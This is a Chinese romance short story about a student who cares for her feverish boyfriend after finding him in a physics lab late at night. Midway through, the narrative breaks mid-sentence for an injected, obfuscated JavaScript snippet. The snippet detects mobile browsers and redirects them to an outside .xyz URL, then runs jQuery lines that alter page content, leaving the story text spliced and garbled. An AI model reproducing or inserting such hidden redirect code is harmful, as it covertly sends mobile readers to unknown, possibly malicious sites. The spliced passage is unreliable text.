九点，图书馆闭馆的音乐准时响起。顾知秋敲下最后一个句号，长长地舒了口气，保存好文档，一个晚上的紧张学习告一段落。周围响起窸窸窣窣收拾书本的声音，她看了一眼手机，已经21:02了。
“这家伙也忘了时间吧。”她无奈地笑了笑，一边关电脑，一边想着那个一进实验室，忙起来就忘了时间的人。他们约好的时间是八点半。
深秋的夜风，早已经失去了夏日的温柔，吹过来带着刮脸的力度。顾知秋从图书馆出来，约好的地方却没看见那个熟悉的身影。她裹紧了外套，拿出手机发消息问：【我已经在大厅了，你人呢？】
过了好一会儿，他才回：【还在实验室，基础模型出了点问题，要晚点。你先回宿舍，别等我。】
顾知秋看着屏幕，回了句【好，那你也别太晚】，心里却莫名有些放不下。她犹豫了一下，转身朝物理实验大楼走去，顺路在路过的小卖部里买了瓶加热的牛奶。
实验室里灯火通明，隔着玻璃窗，一眼就看到了时越。他不像平时那样沉稳，似乎有些烦躁地盯着电脑屏幕上密密麻麻的数据，桌上散放着好几张草稿纸。
她敲了敲门，时越看到是她，眼里的焦躁褪去几分，换上了惊讶，声音里有些沙哑：“你怎么过来了？”
“声音怎么哑了？”顾知秋走了过去，把还温着的牛奶递给他，“实验遇到麻烦了吗？”
时越接过牛奶，却没有喝，只是用手握着取暖。“没事，可能有点感冒。实验数据有点问题。”他揉了揉眉心对她耐心地解释道：“现在模型模拟结果总在中间莫名其妙地‘断’掉。就好像推多米诺骨牌，理论上推倒第一块，最后一块一定会倒。但现在一直找不到是哪一张牌出了问题。”
她好像从未见过他如此受挫的样子。“那就先休息一下，回宿舍睡觉或者出去吃点东西？说不定很快就有灵感了。”
“没事。”他试图让语调轻松，却忍不住吸了下鼻子，声音听起来哑得更厉害，扬了扬手里的牛奶，“我喝这个就好。”
“我饿了，你陪我去吃一点。”顾知秋靠得近了些，这才发现他的脸颊泛着不正常的潮红，眼睛里也蒙着一层水汽，嘴唇干得有点起皮，没什么血色。她心里一紧，下意识直接伸出手，覆上他的额头。
触手一片滚烫，热度高得惊人。
“你发烧了，时越！”她的声音因手下的温度而拔高了几分，“这么烫，你自己没感觉吗？”
“……”时越因为她手心的凉意身体微微一僵，像是才后知后觉地感受到身体的沉重与不适。他没有躲开，只是沉默了片刻，才低低地“嗯”了一声，“现在好像是有一点感觉。”
“你宿舍有退烧药吗？”顾知秋没好气地看向他。果然，时越摇了摇头。
“那你先在这等我一下，”她不容置喙地拿起自己的包，“我回宿舍拿药，等吃完药送你回宿舍。”
时越没有再反驳，像是被抽走了所有力气，任由她安排。
顾知秋临走前，又回头不放心地叮嘱了一句：“不要再看数据了，就在这儿坐着。”那语气，像是在命令一个不听话的小孩。
时越看着她匆匆离去的背影，心底那股烦躁，像是一阵温柔的暖风吹过，被抚平了不少。他靠着椅背坐着，闭上眼，连手指都不想再动。
实验室里恢复了安静，只剩下仪器低低的嗡鸣声。这才注意到，脑袋传来一阵阵钝痛感。他有多久没生病了？久到他已经忘了这种无力感。
他想起顾知秋刚刚叮嘱自己时，眼睛里闪过的担忧，甚至那一丝丝怒气。奇怪的是，他素来很排斥别人插手自己的生活，但是她的那些安排和话语，他非但没有半分反感，反而心生熨帖。他有些疲惫地想，如果可以这样一直被她“安排”，好像也很不错。
顾知秋的动作很快。她几乎是小跑着回到宿舍，在自己的小药箱里翻出退烧药和温度计，又用保温杯兑了一杯温开水，引来室友王悦的一句调侃：“哟，大晚上还要送温暖啊！等会还回来不？”
她只来得及回一句“生病了”，便又一阵风似的消失在门口。
等她回到实验室时，时越已经靠着椅背睡着了。呼吸有些沉重。
“时越，先醒醒吃药了。”她放轻了声音，轻轻拍了拍他的手臂。
他掀开沉重的眼皮，眼神还有些涣散，看到是她，才慢慢聚焦。“……回来了啊。”
“嗯，先把体温量一下。”她把温度计递给他。
等待的几分钟里，两人都没有说话。在等待他量体温的那几分钟里，顾知秋的目光无意间扫过桌上那些散乱的草稿纸。纸上满是涂改的数据和公式，像是在无声地复述着他刚才的焦灼。
而在草稿纸的空白处的角落里，静静地躺着一枚月亮，和高中那会儿时越的草稿纸上，再后来他给她整理的笔记上扉页的那些被无二致。时光仿佛在这一瞬间重叠，从那时她还只是悄悄转头看向他的课间，到他送自己亲手整理的复习笔记的黄昏，再到此刻，两已经是完全不同的关系的夜晚。
手机闹铃振动，五分钟过去，顾知秋收回思绪，拿出温度计来一看：38.7°。
“果然烧得不轻。”她拧开水杯，抠出两粒胶囊递到他面前，“先把药吃了。”
时越就着她的手，把药吃了下去，整个过程都异常听话。
“好了，再喝点水，我们回宿舍。”顾知秋很快收拾好东西，自然地背起他那个看起来就很重的双肩包，“今天我来背吧。”
时越没有拒绝。
两人走出实验大楼，深秋的夜风迎面吹来，时越忍不住缩了下脖子，又是一阵压抑的咳嗽。
顾知秋停下脚步，转身帮他把外套的拉链拉到最顶端，他顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492352|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从地的低着头，睫毛遮住了因为发烧有些湿润的眼睛。
一路无话，他因为发烧走得很慢，她便也放慢了脚步，耐心地陪在一旁，很自然地挽住他的手臂，让他把一部分重量靠到自己身上。起初时越的身体还有些僵硬，小心翼翼像是怕压到她，直到顾知秋更用力地挽紧，他才终于松懈下来，将小半个身体的重量托付。
校园里空旷的路上，路上偶尔三两行人，很快便只剩下他们两人深浅不一的脚步声。他的呼吸有些粗重，在清冷的空气里呵出一团白汽，又迅速被夜色吞没。
终于，那片熟悉的建筑出现在眼前，到他宿舍楼下了。
“我到了。”时越停下脚步，声音依旧干哑，“你快回去吧，外面冷。”
顾知秋把背包递给他，又把手里的药和水一并塞了过去：“这是剩下的药，如果半夜觉得难受就再吃一次。水杯放在床头，等会回去再倒点热水兑一下，多喝水。”
“嗯。”他接过东西，却没有立刻转身。
他就那样站在宿舍侧边昏黄的灯光下，安静地看着她。那双总是沉静的眼眸，此刻因为病意而染上水汽，在路灯下格外分明。平日里所有的冷静自持都不见了，只剩下一种毫无防备的脆弱。
他看着她，仿佛想说什么，嘴唇动了动，最终却只是低低地喊了她的名字：“只只，”
“嗯？”
他忽然伸出手，拉住她的手腕，声音里带着近乎请求的语气：“可以……抱一下吗？”
顾知秋没来由的心一软，没有任何犹豫，转身靠进他的怀里。时越的手臂收拢，将她圈进自己的羽绒服里。他抱得很用力，顾知秋能清晰地听到他沉重而急促的呼吸声吹拂在她的耳畔，感受得到他胸腔的起伏。他默默把头埋在她的肩窝里，没有说话，身上传来的温度，热得惊人。
顾知秋只是安静地让他抱着。她抬起手，犹豫了一下，然后轻轻地、一下一下地拍着他的背，像是一种无言的安抚。
“好了，我充好电了，应该明天醒来就会好了。”不知道过了多久，耳畔传来他瓮声瓮气的声音，“外面风太大了，你快回去休息吧。”
“嗯。你快进去吧，好好睡一觉。”
看着他背影消失，她才转身离开。夜风扑面而来，吹得她指尖发凉，她把手往袖子里缩了缩。
走着走着，她把手揣进上衣口袋里，经过校门口的时候，看见卖烤红薯的炉子冒着腾腾热气，香甜的味道飘散在空气里。她出去买了一个，捧在手里，热乎乎的感觉从掌心一路蔓延开，驱散了那点寒意。
她咬了一口烤红薯，软糯香甜，很像生活里那些确凿的温暖。远处的宿舍楼灯火通明，她突然觉得也许每一盏灯下都藏着不为人知的努力与疲惫。而此刻的自己，也是其中一盏的守护者。风依旧吹着，她的脚步又加快了几分，心里闪过一阵奇异的满足感。